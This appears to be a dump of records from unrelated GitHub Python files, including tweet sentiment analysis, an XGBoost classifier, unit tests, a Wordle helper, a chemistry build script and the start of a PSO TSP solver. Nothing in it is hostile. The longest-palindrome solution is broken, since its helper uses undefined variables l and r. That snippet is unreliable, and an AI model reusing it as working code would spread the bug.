break\n else:\n main()\n elif k.is_pressed(\"b\"):\n title = \"Bulletin\"\n if bulletin(fig):\n break\n else:\n main()\n #elif k.is_pressed(\"o\"):\n # title = \"Commands\"\n # if commands(fig):\n # break\n # else:\n # main()\n elif k.is_pressed(\"x\"):\n break\nclear()\nc.deinit()\n","repo_name":"LeWolfYT/wolfbbs","sub_path":"bbs.py","file_name":"bbs.py","file_ext":"py","file_size_in_byte":4636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31657099319","text":"import argparse\nimport torch\nfrom cpc.model import CPCModel as cpcmodel\nfrom cpc.cpc_default_config import get_default_cpc_config\nfrom cpc.feature_loader import getEncoder, getAR, loadArgs\ndependencies = ['torch', 'torchaudio']\n\n\ndef CPC_audio(pretrained=False,\n **kwargs):\n \"\"\"\n Contrast predictive learning model for audio data\n pretrained: if True, load a model trained on libri-light 60k\n (https://arxiv.org/abs/1912.07875)\n **kwargs : see cpc/cpc_default_config to get the list of possible arguments\n \"\"\"\n locArgs = get_default_cpc_config()\n if pretrained:\n checkpoint_url = 'https://dl.fbaipublicfiles.com/librilight/CPC_checkpoints/60k_epoch4-d0f474de.pt'\n checkpoint = torch.hub.load_state_dict_from_url(checkpoint_url,\n progress=False)\n loadArgs(locArgs, argparse.Namespace(**checkpoint[\"config\"]))\n else:\n args = argparse.Namespace(**kwargs)\n loadArgs(locArgs, args)\n encoderNet = getEncoder(locArgs)\n arNet = getAR(locArgs)\n model = cpcmodel(encoderNet, arNet)\n if pretrained:\n model.load_state_dict(checkpoint[\"weights\"], strict=False)\n return model\n","repo_name":"facebookresearch/CPC_audio","sub_path":"hubconf.py","file_name":"hubconf.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":331,"dataset":"github-code","pt":"48"} +{"seq_id":"10091025140","text":"from string import ascii_letters # Imports the letters of the alphabet from the string function\r\n\r\n# This function processes the tweets and keywords, then outputs happiness averages and total number of tweets\r\ndef compute_tweets(tweets, keywords):\r\n\r\n tFile = open(tweets, \"r\", encoding=\"utf‐8\", errors='ignore') # Opens the tweets file from main or driver\r\n tLine = tFile.readline() # Reads line in file\r\n\r\n keyDictionary = keyDict(keywords) # Defines a dictionary for the keywords\r\n\r\n # Variables used for the sum of each timezone's happiness\r\n estHappiness = 0\r\n cstHappiness = 0\r\n mtHappiness = 0\r\n pstHappiness = 0\r\n # Variables used for the total tweet count for each timezone\r\n estTotal = 0\r\n cstTotal = 0\r\n mtTotal = 0\r\n pstTotal = 0\r\n # Variable used to determine the end of the file, in order to stop the while loop\r\n endOfFile = ''\r\n\r\n ALPHABET = ascii_letters # Constant used to give a name to ascii_letters\r\n\r\n try:\r\n\r\n while tLine != endOfFile: # Loop continues until the tweets.txt line reaches the end of the file\r\n\r\n lat = determineLat(tLine, tFile) # Identifies function \"determineLat\" as a variable for latitude\r\n long = determineLong(tLine) # Identifies function \"determineLong\" as a variable for longitude\r\n lat = float(lat) # Converts latitude values to float\r\n long = float(long) # Converts longitude values to float\r\n\r\n # Uses the boundaries of the Eastern timezone to determine the origins of a tweet\r\n if 24.660845 < lat < 49.189787 and -87.518395 < long < -67.444574: # If tweet is from EST\r\n sentiment = determineHappiness(tLine, keyDictionary, ALPHABET) # Gets sentiment from function\r\n if sentiment > 0: # This line allows us to ignore tweets without keywords\r\n estHappiness += sentiment # Adds the sentiment value to estHappiness\r\n estTotal += 1 # Adds 1 to the total to track the number of tweets for this timezone\r\n\r\n # Uses the boundaries of the Central timezone to determine the origins of a tweet\r\n elif 24.660845 < lat < 49.189787 and -101.998892 < long < -87.518395: # If tweet is from CST\r\n sentiment = determineHappiness(tLine, keyDictionary, ALPHABET) # Gets sentiment from function\r\n if sentiment > 0: # This line allows us to ignore tweets without keywords\r\n cstHappiness += sentiment # Adds the sentiment value to estHappiness\r\n cstTotal += 1 # Adds 1 to the total to track the number of tweets for this timezone\r\n\r\n # Uses the boundaries of the Mountain timezone to determine the origins of a tweet\r\n elif 24.660845 < lat < 49.189787 and -115.236428 < long < -101.998892: # If tweet is from MT\r\n sentiment = determineHappiness(tLine, keyDictionary, ALPHABET) # Gets sentiment from function\r\n if sentiment > 0: # This line allows us to ignore tweets without keywords\r\n mtHappiness += sentiment # Adds the sentiment value to mtHappiness\r\n mtTotal += 1 # Adds 1 to the total to track the number of tweets for this timezone\r\n\r\n # Uses the boundaries of the Pacific timezone to determine the origins of a tweet\r\n elif 24.660845 < lat < 49.189787 and -125.242264 < long < -115.236428: # If tweet is from PST\r\n sentiment = determineHappiness(tLine, keyDictionary, ALPHABET) # Gets sentiment from function\r\n if sentiment > 0: # This line allows us to ignore tweets without keywords\r\n pstHappiness += sentiment # Adds the sentiment value to pstHappiness\r\n pstTotal += 1 # Adds 1 to the total to track the number of tweets for this timezone\r\n\r\n tLine = tFile.readline() # Proceeds to the next line until loop ends\r\n\r\n estAvg = estHappiness / estTotal # Calculates the average happiness for the Eastern timezone\r\n cstAvg = cstHappiness / cstTotal # Calculates the average happiness for the Central timezone\r\n mtAvg = mtHappiness / mtTotal # Calculates the average happiness for the Mountain timezone\r\n pstAvg = pstHappiness / pstTotal # Calculates the average happiness for the Pacific timezone\r\n\r\n # This segment prints the results in a readable format\r\n pEstAvg = print(\"Eastern happiness average is: \" + str(estAvg))\r\n pEstTotal = print(\"Eastern total number of tweets tweets is: \" + str(estTotal))\r\n pCstAvg = print(\"Central happiness average is: \" + str(cstAvg))\r\n pCstTotal = print(\"Central total number of tweets is: \" + str(cstTotal))\r\n pMtAvg = print(\"Mountain happiness average is: \" + str(mtAvg))\r\n pMtTotal = print(\"Mountain total number of tweets is: \" + str(mtTotal))\r\n pPstAvg = print(\"Pacific happiness average is: \" + str(pstAvg))\r\n pPstTotal = print(\"Pacific total number of tweets is: \" + str(pstTotal))\r\n\r\n # This segment combines all the averages together and the totals together\r\n averages = pEstAvg and pCstAvg and pMtAvg and pPstAvg\r\n totals = pEstTotal and pCstTotal and pMtTotal and pPstTotal\r\n\r\n # This segment combines the averages and totals\r\n results = averages and totals\r\n\r\n return results # Returns results to main.py or driver.py\r\n\r\n # This segment handles various errors with the use of exceptions\r\n except IOError:\r\n print(\"TWEET COUNT ZERO: One or more files were not found. Empty list returned, please try again.\")\r\n except ValueError:\r\n print(\"TWEET COUNT ZERO: file contents invalid, please try again.\")\r\n except ZeroDivisionError:\r\n print(\"TWEET COUNT ZERO: No tweets found, please try again.\")\r\n except RuntimeError as error:\r\n print(\"Error:\", str(error))\r\n except IndexError:\r\n print(\"Error: List index out of range\")\r\n\r\n# This function creates a dictionary with the keywords file\r\ndef keyDict(keywords):\r\n dict = {} # Dictionary is initialized\r\n with open(keywords, \"r\", encoding=\"utf-8\", errors='ignore') as keywordFile: # Opens keywords file\r\n for line in keywordFile:\r\n line = line.split(\",\") # Splits either end of commas in keywords file to make a list\r\n keys = line[0] # Identifies index 0 as the keys\r\n vals = line[1] # Identifies index 1 as the values\r\n dict[keys] = vals # Creates a dictionary with the identified keys and values\r\n return dict # Returns the dictionary\r\n\r\n# This function allows us to determine the latitude\r\ndef determineLat(tLine, tFile):\r\n tLine = tLine.split() # Splits the tweet file line into a list\r\n tLine = [element.strip(\"[,\") for element in tLine] # Gets rid of the square bracket\r\n return tLine[0] # Returns latitude as index 0 of the tweet file line\r\n\r\n# This function allows us to determine the longitude\r\ndef determineLong(tLine):\r\n tLine = tLine.split() # Splits the tweet file line into a list\r\n tLine = [element.strip(\"]\") for element in tLine] # Gets rid of the square bracket\r\n return tLine[1] # Returns longitude as index 1 of the tweet file line\r\n\r\n# This function allows us to determine the happiness of a tweet\r\ndef determineHappiness(tLine, keyDictionary, ALPHABET):\r\n allowed = set(ALPHABET + ' ') # Defines the allowed characters as letters of the alphabet and spaces\r\n tweetList = tLine.split() # Splits the tweet list\r\n sentiment = 0 # Defines the sentiment value\r\n for key in tweetList:\r\n key = ''.join(l for l in str(key) if l in allowed) # Only read characters that are allowed\r\n key = key.lower() # Converts text to lowercase\r\n if key in keyDictionary:\r\n sentiment = sentiment + int(keyDictionary[key]) # Calculates the sentiment value of a tweet\r\n return sentiment # Returns the sentiment value\r\n\r\n\r\n","repo_name":"TristanKatwaroo/python-exercises","sub_path":"sentimentAnalysis/sentiment_analysis.py","file_name":"sentiment_analysis.py","file_ext":"py","file_size_in_byte":9724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72337260945","text":"import os\nimport sys\nimport unittest\nfrom PIL import Image\nfrom pathlib import Path\n\nfrom PyQt6.QtWidgets import QApplication\n\nfrom src.writer import Writer\nfrom src.utils import *\nfrom src.file_list import *\n\n\nclass TestExport(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls) -> None:\n\n cls.img = Image.new('RGB', (300, 300))\n cls.img.save('test.jpg')\n cls.writer = Writer('test.jpg', cls.img.width, cls.img.height)\n\n @classmethod\n def tearDownClass(cls) -> None:\n cls.retain = ['__pycache__', 'test.py']\n\n for item in os.listdir(Path(__file__).parent):\n if item not in cls.retain:\n os.remove(item)\n\n def test_export_file_exist(self):\n file_path = self.writer.save('test.xml')\n self.assertTrue(Path(file_path).is_file())\n os.remove(file_path)\n\n def test_annotations_content(self):\n label, x1, y1, x2, y2 = 'test_object', 100, 50, 200, 250\n label_color_dict = {label: 'ffffff'}\n\n self.writer.add_object(label, x1, y1, x2, y2)\n self.writer.add_label_color_dict(label, label_color_dict[label])\n file_path = self.writer.save('test.xml')\n\n result_dict = parse_xml(ET.parse(file_path).getroot())\n result_labels, result_bounding_boxes, result_label_color_dict = parse_annotation_dict(result_dict)\n\n self.assertEqual(label, result_labels[0])\n self.assertEqual((x1, y1, x2, y2), result_bounding_boxes[0])\n self.assertEqual(label_color_dict, result_label_color_dict)\n\n os.remove(file_path)\n\n\nclass TestImport(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls) -> None:\n cls.img = Image.new('RGB', (300, 300))\n # Valid files\n cls.img.save('test.jpg')\n cls.img.save('test.jpeg')\n cls.img.save('test.png')\n # Non-valid files\n cls.img.save('test.gif')\n os.mkdir('temp_dir')\n\n @classmethod\n def tearDownClass(cls) -> None:\n cls.retain = ['__pycache__', 'test.py']\n\n for item in os.listdir(Path(__file__).parent):\n if item not in cls.retain:\n if Path(item).is_file():\n os.remove(item)\n elif Path(item).is_dir():\n os.removedirs(item)\n\n def test_import_file_length(self):\n directory_path = Path(__file__).parent\n _ = QApplication(sys.argv)\n file_list = FileList(None)\n file_list.update_sub_view(directory_path)\n length = file_list.count()\n\n self.assertEqual(length, 3)\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n\n","repo_name":"Thangphan0102/picture-annotator","sub_path":"src/test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33114457994","text":"import requests\nimport json\n\ncity = 'Toulouse, FR'\n\n#: Register on openweathermap to obtain an api key\napi_key = 'xxx'\n\nurl = (\n f'https://api.openweathermap.org/data/2.5/weather?q={city}&APPID={api_key}'\n)\n\nresponse = requests.get(url)\n\njson_response = json.dumps(response.json(), indent=4)\n\nprint(json_response)\n","repo_name":"paschembri/lets-play-with-api-meetup","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23106713737","text":"import xgboost as xgb\nfrom xgboost import plot_importance\nimport pandas as pd\nimport numpy as np\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.model_selection import train_test_split\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, confusion_matrix, f1_score, roc_auc_score\n\ndef get_clf_eval(y_test, pred=None, pred_proba=None):\n confusion = confusion_matrix(y_test, pred)\n accuracy = accuracy_score(y_test, pred) \n precision = precision_score(y_test, pred)\n recall = recall_score(y_test, pred)\n f1 = f1_score(y_test, pred)\n # ROC - AUC 추가\n roc_auc = roc_auc_score(y_test, pred_proba)\n print('오차 행렬')\n print(confusion)\n # ROC - AUC print 추가\n print('정확도 : {0:.4f}, 정밀도:{1:.4f}, 재현율: {2:.4f}, F1:{3:.4f}, AUC:{4:.4f}'.format(accuracy, precision, recall, f1, roc_auc))\n\ndataset = load_breast_cancer()\nx_features = dataset.data\ny_label = dataset.target\n\ncancer_df = pd.DataFrame(data=x_features, columns=dataset.feature_names)\ncancer_df['target'] = y_label\nprint(cancer_df.head())\n\nprint(dataset.target_names)\nprint(cancer_df['target'].value_counts())\n\nx_train, x_test, y_train, y_test = train_test_split(x_features, y_label, test_size=0.2, random_state=156)\nprint(x_train.shape, x_test.shape)\n\n# numpy Dmatrix 넘파이 입력 파라미터 XGBoost 만의 전용 데이터셋 주요 입력파라미터 data, label 분류 레이블 데이터 회귀 숫자형 종속값 데이터\ndtrain = xgb.DMatrix(data=x_train, label=y_train)\ndtest = xgb.DMatrix(data=x_test, label=y_test)\n\nparams = {'max_depth':3,\n 'eta': 0.1,\n 'objective':'binary:logistic',\n 'eval_metric':'logloss',\n 'early_stoppings':100\n }\nnum_rounds = 400\n\n\n# eval_set 성능평가를 수행할 평가용 데이터세트를 설정\n# eval_metric 은 평가 세트에 적용할 성능 평가 방법 분류일 경우 error, logloss 사용\n\n# train 데이터 세트는 'train', evaluation(test) 데이터 세트는 'eval'로 명기합니다.\nwlist = [(dtrain, 'train'), (dtest, 'eval')]\n\n# 하이퍼 파라미터와 early stopping 파라미터를 train() 함수의 파라미터로 전달\nxgb_model = xgb.train(params=params, dtrain = dtrain, num_boost_round=num_rounds, early_stopping_rounds=100, evals=wlist)\n\npred_probs = xgb_model.predict(dtest)\nprint('predict() 수행 결괏값을 10개만 표시, 예측 확률값으로 표시됨')\nprint(np.round(pred_probs[:10], 3))\n\n# 예측 확률이 0.5 보다 크면 1. 그렇지 않으면 0으로 예측값 결정해 리스트 객체인 preds에 저장\npreds = [1 if x > 0.5 else 0 for x in pred_probs]\nprint('예측값 10개만 표시 :', preds[:10])\n\nprint(get_clf_eval(y_test, preds, pred_probs))\n\nfrom xgboost import plot_importance\nimport matplotlib.pyplot as plt\n\nfig, ax = plt.subplots(figsize=(10, 12))\nplot_importance(xgb_model, ax=ax)\nplt.show()","repo_name":"sunho-park/study1","sub_path":"selfstudy/6_29_cancer_pythonwrapper.py","file_name":"6_29_cancer_pythonwrapper.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74458050386","text":"# request hash value from user\ndef request_hash():\n\twhile True:\n\t\tuser_input = input(\"Enter a hash: \")\n\n\t\t# check for validity of input string\n\t\tif not validate_string(user_input):\n\t\t\tprint(\"Please enter a valid hash!\")\n\t\t\tcontinue\n\t\telse:\n\t\t\treturn user_input\n\t\t\tbreak\n\n# validate the hash string provided by the user\ndef validate_string(s):\n\t# check for hash length == 32 (md5 hash output length)\n\tif len(s) != 32:\n\t\treturn False\n\n\t# check whether user_input is in hexadecimal\n\tfor c in s:\n\t\t# not hexadecimal\n\t\tif ((c < '0' or c > '9') and (c < 'a' or c > 'f')):\n\t\t\treturn False\n\n\t# return True if string passes both checks\n\treturn True\n\n","repo_name":"kayqueue/implementing-a-rainbow-table","sub_path":"second_step_request_hash.py","file_name":"second_step_request_hash.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30034284192","text":"\"\"\"\nThe ClockTower is the single source of truth for time in the system. This enhances testability by allowing\ntest suites to set values for current time and sleep durations\n\"\"\"\nimport _thread\nimport utime\n\n\nclass ClockTower:\n\n _instance = None\n _now = None\n\n def __init__(self):\n self.sleep_duration = None\n self.not_yets = {}\n\n @classmethod\n def instance(cls):\n if cls._instance is None:\n cls._instance = ClockTower()\n\n return cls._instance\n\n @property\n def now(self):\n return utime.time() if self._now is None else self._now\n\n @now.setter\n def now(self, now):\n self._now = now\n\n def set_sleep_duration(self, duration_in_seconds):\n self.sleep_duration = duration_in_seconds\n\n def sleep(self, duration_in_seconds):\n if self.sleep_duration is None:\n utime.sleep(duration_in_seconds)\n else:\n utime.sleep(self.sleep_duration)\n\n def not_yet(self, duration_in_seconds, caller: str = \"global\"):\n calling_thread = _thread.get_ident()\n caller_id = str(calling_thread) + ':' + caller\n if caller_id not in self.not_yets:\n self.not_yets[caller_id] = self.now\n return True\n else:\n if self.now >= self.not_yets[caller_id] + duration_in_seconds:\n del(self.not_yets[caller_id])\n return False\n else:\n return True\n","repo_name":"djantzen/pico_book","sub_path":"src/singletons/clocktower.py","file_name":"clocktower.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4383210901","text":"import random\n\nclass Dictionary:\n def __init__(self) -> None:\n self.validWordsCount = 0\n self.goodLettersList = \"\"\n self.badLettersList = \"\"\n self.word_dict = {}\n \n def __str__(self):\n return 'Total valid words = '+ str(self.validWordsCount)\n \n def getValidDictionary(self) -> None:\n '''Forms a valid dictionary that just contains 5 letter words'''\n try:\n try:\n file1 = open('words.txt', 'r')\n valid_words_file = open('valid-words.txt','w')\n except FileNotFoundError as e:\n print(f\"Cannot open file ({e})\")\n else:\n words = file1.readlines()\n for word in words:\n if len(word.strip()) == 5:\n valid_words_file.write(\"{} \\n\".format(word.strip()))\n file1.close()\n valid_words_file.close()\n except Exception as e:\n print(f\"{e}\")\n \n def getRandomWord(self, selectedWordList) -> str | None:\n '''Choose a random word from dictionary'''\n try:\n file1 = open(\"gameplay.log\", \"a\")\n file2 = open('valid-words.txt')\n except FileNotFoundError as e:\n print(f\"Cannot open file ({e})\")\n else:\n randomWord = \"\"\n self.validWordsCount = len(file2.readlines())\n if(len(file2.readlines()) == len(selectedWordList)):\n selectedWordList = []\n while True:\n randomWord = random.choice(open('valid-words.txt').read().split()).strip()\n if(randomWord not in selectedWordList):\n selectedWordList.append(randomWord)\n break\n file1.write(\"\\n------------New Game-----------\\n\")\n file1.write(\"The selected word is : {} \\n\".format(randomWord))\n file1.close()\n #print(' '.join(selectedWordList))\n print(randomWord)\n return randomWord\n\n def countLetters(self, expectedWord) -> dict | None:\n try:\n '''counts how many times a letter is present in a given word'''\n letter_count: dict = {}\n for i in range(len(expectedWord)):\n letter_count[expectedWord[i]] = letter_count.get(expectedWord[i], 0) + 1\n return letter_count\n except Exception as e:\n print(f\"{e}\")\n\n def checkWord(self, userInput, expectedWord):\n '''Used to compare the userInput and expectedWord and returns the result'''\n try:\n result = []\n letter_count: dict = self.countLetters(expectedWord) \n for i in range(len(expectedWord)):\n if userInput[i] == expectedWord[i]:\n result.append(\" \")\n letter_count[userInput[i]] -= 1\n else:\n result.append('\"')\n\n for i in range(len(expectedWord)):\n if userInput[i] != expectedWord[i]:\n if userInput[i] in letter_count:\n if letter_count[userInput[i]] > 0:\n result[i] = '`'\n letter_count[userInput[i]] -= 1\n \n #changes for helper function\n for i in range(5):\n x = userInput[i] not in self.goodLettersList\n if result[i] == ' ' and x:\n self.goodLettersList = self.goodLettersList + userInput[i]\n self.word_dict[i] = userInput[i]\n elif result[i] == '`' and x:\n self.goodLettersList = self.goodLettersList + userInput[i]\n\n for i in range(5):\n if result[i] == '\"' and userInput[i] not in self.goodLettersList:\n self.badLettersList = self.badLettersList + userInput[i]\n\n return result\n except Exception as e:\n print(f\"{e}\")\n\n","repo_name":"shivaniraykar/Wordle","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37759076549","text":"class Solution:\n\tdef longestPalindromicSubstring(self, s: 'List[str]')-> int:\n\t\t\n\t\tif len(s) <= 1:\n\t\t\treturn s\n\t\t\n\t\tmax_len, start, end = 0, 0, 0\n\t\n\t\tfor i in range(len(s)):\n\t\t\todd_max_len = self.expandAroundCenter(s, i, i) \n\t\t\teven_max_len = self.expandAroundCenter(s, i, i + 1)\n\t\t\tmax_len = max(odd_max_len, even_max_len)\n\t\t\tif max_len > end - start:\n\t\t\t\tstart = i - (max_len - 1) // 2\n\t\t\t\tend = i + ( max_len // 2 )\n\t\t\n\t\treturn s[start: end + 1]\n\n\n\tdef expandAroundCenter(self, s: str, L: int, R: int) -> int:\n\t\t\n\t\t\n\t\twhile(0 <= l and r < len(s) and s[l] == s[r]):\n\t\t\tl-=1\n\t\t\tr+=1\n\t\t\n\t\treturn r-l-1\n\t\t \n\n'''\n - - 10\n[a][b][c][d][e][f][g][f][e][d][t][y][u]\n 2\n'''","repo_name":"ermantatar/Algorithms","sub_path":"Python/1_______STRING_______/Palindromes/Longest_Palindromic_Substring.py","file_name":"Longest_Palindromic_Substring.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72240112786","text":"#Exercise 23\r\n\r\nsec = int(input(\"Enter the number of seconds: \"))\r\n\r\ndef solve(sec):\r\n times = sec / 10\r\n begin = 0\r\n x = 0\r\n for i in range(11):\r\n print(\"At {} secs: {}\".format(int(begin),\"X\"*x))\r\n begin += times\r\n x += 1\r\n\r\nsolve(sec)","repo_name":"baselhusam/The-Practice-of-Computing-Using-Python-Solved","sub_path":"Chapter 5/Problem 23.py","file_name":"Problem 23.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"1592061526","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Distributed under the terms of the MIT License.\n\n\"\"\"\nScript to build the metal precursor in this project.\n\nAuthor: Andrew Tarzia\n\n\"\"\"\n\nimport logging\nimport sys\nimport os\nimport stk\nimport stko\n\nfrom env_set import calc_path, meta_path, gulp_path\nfrom spinner import rotate_fgs\nfrom utilities import AromaticCNCFactory\nfrom topologies import OneTwoSquarePlanar\n\n\ndef main():\n if (not len(sys.argv) == 1):\n logging.info(\n f'Usage: {__file__}\\n'\n ' Expected 0 arguments:'\n )\n sys.exit()\n else:\n pass\n\n _wd = meta_path()\n _cd = calc_path()\n\n if not os.path.exists(_wd):\n os.mkdir(_wd)\n\n bidentate = stk.BuildingBlock(\n smiles='C1=C(CCCC2=CC=CC=N2)N=CC=C1',\n functional_groups=(AromaticCNCFactory(), ),\n )\n monodentate1 = stk.BuildingBlock(\n smiles='C1=CN=CC=C1Br',\n functional_groups=(AromaticCNCFactory(), ),\n )\n monodentate2 = stk.BuildingBlock(\n smiles='C1=CC(=CN=C1)C2=CC=C(C=C2)Br',\n functional_groups=(AromaticCNCFactory(), ),\n )\n monodentate3 = stk.BuildingBlock(\n smiles='C1=CC=NC=C1',\n functional_groups=(AromaticCNCFactory(), ),\n )\n pd = stk.BuildingBlock(\n smiles='[Pd+2]',\n functional_groups=(\n stk.SingleAtom(stk.Pd(0, charge=2))\n for i in range(4)\n ),\n position_matrix=[[0, 0, 0]],\n )\n\n # Define series of topologies to build.\n _topos = {\n 'm1': {\n 'tg': OneTwoSquarePlanar(\n metals=pd,\n ligands={\n monodentate1: (0, ),\n monodentate2: (1, ),\n bidentate: (2, ),\n },\n ),\n 'charge': 2*1,\n },\n 'm2': {\n 'tg': OneTwoSquarePlanar(\n metals=pd,\n ligands={\n monodentate2: (0, 1),\n bidentate: (2, ),\n },\n ),\n 'charge': 2*1,\n },\n 'm3': {\n 'tg': OneTwoSquarePlanar(\n metals=pd,\n ligands={\n monodentate1: (0, 1),\n bidentate: (2, ),\n },\n ),\n 'charge': 2*1,\n },\n 'm4': {\n 'tg': OneTwoSquarePlanar(\n metals=pd,\n ligands={\n monodentate1: (1, ),\n monodentate2: (0, ),\n bidentate: (2, ),\n },\n ),\n 'charge': 2*1,\n },\n 't1': {\n 'tg': stk.metal_complex.SquarePlanar(\n metals=pd,\n ligands={\n monodentate1: (2, ),\n monodentate2: (0, ),\n monodentate3: (1, 3),\n },\n ),\n 'charge': 2*1,\n },\n 't2': {\n 'tg': stk.metal_complex.SquarePlanar(\n metals=pd,\n ligands={\n monodentate1: (0, 2),\n monodentate3: (1, 3),\n },\n ),\n 'charge': 2*1,\n },\n 't3': {\n 'tg': stk.metal_complex.SquarePlanar(\n metals=pd,\n ligands={\n monodentate2: (0, 2),\n monodentate3: (1, 3),\n },\n ),\n 'charge': 2*1,\n },\n 't4': {\n 'tg': stk.metal_complex.SquarePlanar(\n metals=pd,\n ligands={\n monodentate1: (0, ),\n monodentate2: (2, ),\n monodentate3: (1, 3),\n },\n ),\n 'charge': 2*1,\n },\n }\n # Build them all.\n for topo in _topos:\n unopt_file = os.path.join(_wd, f'{topo}_unopt.mol')\n rot_file = os.path.join(_wd, f'{topo}_rot.mol')\n opt_file = os.path.join(_wd, f'{topo}_opt.mol')\n\n tg = _topos[topo]['tg']\n charge = _topos[topo]['charge']\n logging.info(f'building {topo}')\n unopt_mol = stk.ConstructedMolecule(tg)\n unopt_mol.write(unopt_file)\n\n # Do some forced ligand rotations.\n if 't' in topo:\n rot_mol = rotate_fgs(stk.BuildingBlock.init_from_molecule(\n molecule=unopt_mol,\n functional_groups=(stk.BromoFactory(), ),\n ))\n rot_mol.write(rot_file)\n else:\n rot_mol = stk.BuildingBlock.init_from_molecule(unopt_mol)\n\n if not os.path.exists(opt_file):\n logging.info(f'Gulp opt of {topo}')\n output_dir = os.path.join(_cd, f'{topo}_gulp')\n gulp_opt = stko.GulpUFFOptimizer(\n gulp_path=gulp_path(),\n maxcyc=300,\n metal_FF={46: 'Pd4+2'},\n metal_ligand_bond_order='',\n output_dir=output_dir,\n conjugate_gradient=True,\n )\n gulp_opt.assign_FF(rot_mol)\n gulp_mol = gulp_opt.optimize(mol=rot_mol)\n\n gulp_opt = stko.GulpUFFOptimizer(\n gulp_path=gulp_path(),\n maxcyc=300,\n metal_FF={46: 'Pd4+2'},\n metal_ligand_bond_order='',\n output_dir=output_dir,\n conjugate_gradient=False,\n )\n gulp_opt.assign_FF(gulp_mol)\n gulp_mol = gulp_opt.optimize(mol=gulp_mol)\n gulp_mol.write(opt_file)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s | %(levelname)s | %(message)s',\n )\n main()\n","repo_name":"andrewtarzia/big_unsymm","sub_path":"build_metal_precursor.py","file_name":"build_metal_precursor.py","file_ext":"py","file_size_in_byte":5720,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13756147455","text":"from collections import defaultdict,deque\n# https://walwal234.tistory.com/37\ndef solution(board, r, c):\n d = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n visited = defaultdict(int)\n answer = 0\n b=\"\".join([\"\".join(map(str,x)) for x in board]) \n q=deque([[r,c,b,0,-1]])\n\n while q:\n y, x, b, c, e = q.popleft()\n pos = 4 * y + x\n\n if(visited[str(c)+str(e)+b+str(y)+str(x)]>0):\n continue\n visited[str(c)+str(e)+b+str(y)+str(x)]=1\n \n if(b.count(\"0\")==16):\n return c\n \n for dy,dx in d:\n isLast=0\n tempY,tempX=0,0\n for k in range(1,4):\n ny,nx=y+dy*k,x+dx*k\n nPos = 4*ny+nx\n if(0<=ny<4 and 0<=nx<4):\n if(k==1):\n q.append((ny,nx,b,c+1,e))\n else:\n if(b[nPos]==\"0\"):\n isLast=1\n tempY,tempX=ny,nx\n else:\n q.append((ny,nx,b,c+1,e))\n if(b[nPos]!=\"0\"):\n isLast=0\n break\n if(isLast):\n q.append((tempY,tempX,b,c+1,e))\n\n if(b[4*y+x]!=\"0\"):\n pos=4*y+x\n if e == -1:\n n_e = pos\n q.append((y, x, b, c+1, n_e))\n elif(e != pos and b[e]==b[pos]):\n b= b.replace(b[e],\"0\")\n q.append((y, x, b, c+1, -1))\n\n return answer","repo_name":"Daejjyu/Algorithm","sub_path":"Programmers/pro_72415_카드 짝 맞추기.py","file_name":"pro_72415_카드 짝 맞추기.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"74121282386","text":"# https://atcoder.jp/contests/abc212/submissions/24651289\n# B - Weak Password\nimport sys\n\nsys.setrecursionlimit(10 ** 7)\nf_inf = float('inf')\nMOD = 10 ** 9 + 7\n\n\ndef solve():\n X = input()\n if len(set(X)) == 1:\n print(\"Weak\")\n else:\n x = int(X[0])\n flg = True\n for i in range(1, 4):\n if (x + 1) % 10 != int(X[i]):\n flg = False\n break\n else:\n x = int(X[i])\n if flg:\n print(\"Weak\")\n else:\n print(\"Strong\")\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"happa64/AtCoder_Beginner_Contest","sub_path":"ABC/ABC212~/ABC212/ABC212_B.py","file_name":"ABC212_B.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11594277764","text":"# encoding:utf-8\n\n'''\n\tSolution for Travelling Salesman Problem using PSO (Particle Swarm Optimization)\n\tDiscrete PSO for TSP\n\n'''\n\nfrom operator import attrgetter\nimport random, sys, time, copy\n\nimport numpy as np\nimport pandas as pd\n\nimport parsl\nfrom parsl import load, python_app\n\nimport json\nimport tsp_graph\nimport userScript\nimport sys\n# insert at 1, 0 is the script path\n#sys.path.insert(1, '/home/clusteruser/TravellingSalesmanProblem/PSO-GA/configs')\n\n\nfrom 